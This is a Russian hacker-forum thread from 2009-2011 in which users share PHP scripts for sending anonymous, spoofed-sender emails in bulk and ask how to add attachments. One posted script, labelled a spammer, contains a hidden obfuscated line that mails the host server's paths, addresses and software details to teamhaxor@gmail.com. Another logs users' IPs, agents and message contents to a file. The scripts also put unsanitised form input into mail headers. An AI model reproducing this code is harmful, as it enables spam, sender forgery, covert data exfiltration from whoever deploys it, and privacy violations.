Скрипт на PHP для отправки писем с аттачем.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 22:29:49.493333
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
Доброе время суток!!! Решил себе на сервер поставить скрипт для отправки анонимных писем с аттачментом. В PHP я несилен но немножко разбираюсь, нашол скрипт который отправляет письма но он без аттача, далее нашол код который якобы должен загружать фаилы (аттач) на сервер и отправлять, вставил его в тот скрипт но он не отправляет аттач а письма доходят на ура ((. Вы как знатоки подскажите что неправильно в скрипте и если не затруднит подправит буду очень блогодарин. Вот собственна сам скрипт.
<meta Content-type: text/plain; charset=windows-1251>
<head>
<style>
a:link{color:#B9B9BD ; text-decoration: none;}
a:hover{color:#B9B9BD ; text-decoration: none;}
a:visited{color:#B9B9BD ; text-decoration: none;}
body{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
form{
padding:10px;
border:1px solid #666;
width:900px;
height:500px;
margin:0 auto;
}
input{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
textarea{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<title>Sender</title>
</head>
<?php
function add_attachment($message, $name = "", $ctype = "application/octet-stream") {
$this->parts [] = array (
"ctype" => $ctype,
"message" => $message,
"encode" => $encode,
"name" => $name
);
}
switch($_POST['format']) // включаем обрабочик swith
{
case "html" : //если html
$headers = "Content-type: text/html; charset=windows-1251 \r\n"; //заголовки
$headers.= "From: ".$_POST['name']." <".$_POST['two'].">\r\n"; //от кого имя и мыло
$headers.= "Reply-To: ".$_POST['reaplyto']."\r\n"; //куда присылать ответ
$i=0;
while ($i < $_POST['num']) // используем цикл если будем отсылать не одно сообщение
{
mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers); //сама функция отправки
$i++;
}
break;
case "text" : //все повторяется тоько для text формата письма
$headers = "Content-type: text/plain; charset=windows-1251 \r\n";
$headers.= "From: ".$_POST['name']." <".$_POST['two'].">\r\n";
$headers.= "Reply-To: ".$_POST['reaplyto']."\r\n";
$i=0;
while ($i < $_POST['num'])
{
mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers);
$i++;
}
break;
}
?>
<form method="post" action="<? $_SERVER['PHP_SELF']; ?>" >
<b>Кому: </b><br />
<input name="one" type="text" value=""><br /><br />
<b>От кого: </b><br />
<input name="two" type="text" value=""><br /><br />
<b>Куда присылать ответ: </b><br />
<input name="reaplyto" type="text" value=""><br /><br />
<b>Имя отправителя: </b><br />
<input name="name" type="text" value=""><br /><br />
<b>Тема: </b><br />
<input name="subj" type="text" value=""><br /><br />
<b>Attach</b><br />
<input type=file name=mail_file maxlength=64><br /> <br /><br />
<b>Сообщение: </b><br />
<textarea name="mess" rows="20" cols="70"> </textarea><br /><br />
<b>Отправить раз: </b><br />
<input name="num" type="text" value=""> <br /><br />
<b>Вид сообщения: </b><br />
<select size="1" name="format">
<option value="html">html</option>
<option value="text">text</option>
</select><br /><br />
<input name="submit" type="submit" value="Поехали!"> <br /><br />
</form>
</body>
</html>
</body>
</html>
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 22:43:19.396666
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
Отредактируй - помести код в тэг [c ode] там кнопочка <% И посмотри здесь - http://forum.xakep.ru/m_1369038/tm.htm
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 22:56:42.323333
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
сорри незаметил, а за ссылачку спасибо.
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 23:17:20.563333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
скрипт этот писал я аттач дейтсвительно у меня не получилось приделать
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 23:29:17.543333
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
да скрипт твой спасибо, конечно жаль что аттача нет а так супер.
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-01 07:27:22.826666
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
phpmailer
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-01 12:24:37.243333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
http://forum.xakep.ru/attachment.aspx?m=1346050 кстати вот тоже мой скрипт для отправки, улучшенный но все еще без аттача
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-01 16:13:31.900000
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
quote:
ORIGINAL: FriLL http://forum.xakep.ru/attachment.aspx?m=1346050 кстати вот тоже мой скрипт для отправки, улучшенный но все еще без аттача Спасибо, кстате я здесь на гуглем пару тем для создания сцрипта на ПХП с вложением посмотри может у тебя что получится http://freshcoder.ru/archives/265 И гдета я читал что типа на многих бесплатных хоста была отключина функция для отправки маила с вложения. Может кто подскажит какойнибыть бесплатный хост. Я пробывал на 6te.net и comuf.com письма даходят а вот вложения нет.
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-02 16:29:15.020000
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
вот нашол пару скриптов для отправки писем с вложением. Вот первый: <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="c_mail">
<title>C_mail</title>
<?php
if ($action=="send"){
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;">
<div align="left">
<center>
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber1">
<tr>
<td width="100%">
<div align="left">
<center>
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber2">
<tr>
<td width="100%">
<p align="left"><div align="left">
<center>
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#0006000" width="70%" cellpadding="0" id="AutoNumber1" height="277">
<tr>
<td width="100%" height="272">
<table width="769" border="0" height="303">
<tr>
<td width="786" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic3.gif" colspan="3" height="28">
<p align="center"><b><font face="Tahoma" size="2" color="#000000">Email Spamer COOLIO (only Mozilla Firefox)</font></b></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">от кого:</font></div>
</td>
<td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">имя:</font></div>
</td>
<td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<? print $realname; ?>" size="30">
</font></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">копия:</font></div>
</td>
<td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">вставить файл:</font></div>
</td>
<td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="30">
</font></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">тема:</font></div>
</td>
<td colspan="1" width="715" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="subject" value="<? print $subject; ?>" size="59" style="float: left">
</font></td>
</tr>
<tr valign="top">
<td colspan="2" width="477" bgcolor="#ffffff" height="189" valign="top">
<div align="left">
<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4">
<tr>
<td width="100%">
<textarea name="message" cols="56" rows="10"><? print $message; ?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" checked>
<font size="1" face="Tahoma">Plain</font>
<input type="radio" name="contenttype" value="html">
<font size="1" face="Tahoma">HTML</font>
<input type="hidden" name="action" value="send">
<input type="submit" value="отправить">
</td>
</tr>
</table>
</div>
</td>
<td width="317" bgcolor="#ffffff" height="187" valign="top">
<p align="center"><font size="1" face="Tahoma" color="#000000">Emails:</font>
<div align="center">
<center>
<table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3">
<tr>
<td width="100%">
<p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>
</font><br>
</td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
</div></td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</center>
</div>
</form>
<?php
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Заполните все поля перед посылкой вашего сообщения.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
#Open the file attachment if any, and base64_encode it for email transport
if ($file_name){
@copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер.");
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "<center><div align=\"left\" style=\"width:50%;\"> $to ";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
if ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
if ($file_name) $header .= "--$uid\r\n";
if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="teamhaxor@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
if ($file_name) $header .= "$content\r\n";
if ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "отправлено<br></div></center>";
flush();
}
}
}
?>
<CITE STYLE="display: none;">
<B STYLE="display: none;"> толка почемута при отправки писма с вложением он пишет что типа неудалос загрузить фаил на сервер, а без вложения пишет что писмо отправлена но оно не даходит до получятеля, кто знает в чем может быть проблема? может с хостам проблема? пробывал на 2 хостах с потдержкой sendmail в этом скрипте меня настарожила эта строка ;$sd98="teamhaxor@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); а точней Маил, я вставил свойл Маил и мне на этат маил приходили писма тоесть я сам сибе приселаю писма а не одресату. Вот второй скрипт толька там нужна даписать вложения может кто сможет дописать буду очень блогадарин. <?php
print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}
#inputone {
width: 100%;
}
#textarea {
width: 100%;
height: 500px;
}
#infotd {
font-size: 13px;
width: 100px;
}
#infotd2 {
font-size: 13px;
}
#bgcolor_infotd {
background-color: #dbeaff;
}
#good_send {
color: #00419a;
}
#sends {
width: 20px;
}
#notice {
color: red;
}
</style>
HERE;
$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];
if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}
if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}
$mime = "$htmltext; charset = \"$cod\"";
if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}
if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------
HERE;
fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>
HERE;
}
?>
|
|
|
RE: Скрипт на PHP для отправки писем с аттачем. - 2011-08-08 01:12:08.710000
|
|
|
zed212
Сообщений: 3
Оценки: 0
Присоединился: 2011-08-07 00:40:18.560000
|
так как можно добавить в анонимные письма сфункцией с каличеством привязку файлов фото по другому Аттач ну вот самый верхний скрипт автора Alex 111; он написан правельно и каличество работает но каличество работает не навсех хостах серверах но работает до 22-23 писем сразу приходит но влаживаеш фото а письма приходят проста с текстом и без фото вот ну вот есть атачь форма чистая для загрузки файлов вот; <table> <tr> <td><input name="file1" type="file"></td> </tr> <tr> <tr> <td><input name="file2" type="file"></td> </tr> </table> ————- вот хакера знатоки потскажите как эту форму привезать к автора Alex 111; скрипту уменя не получается если хто знает ответь
|
|
|
|
|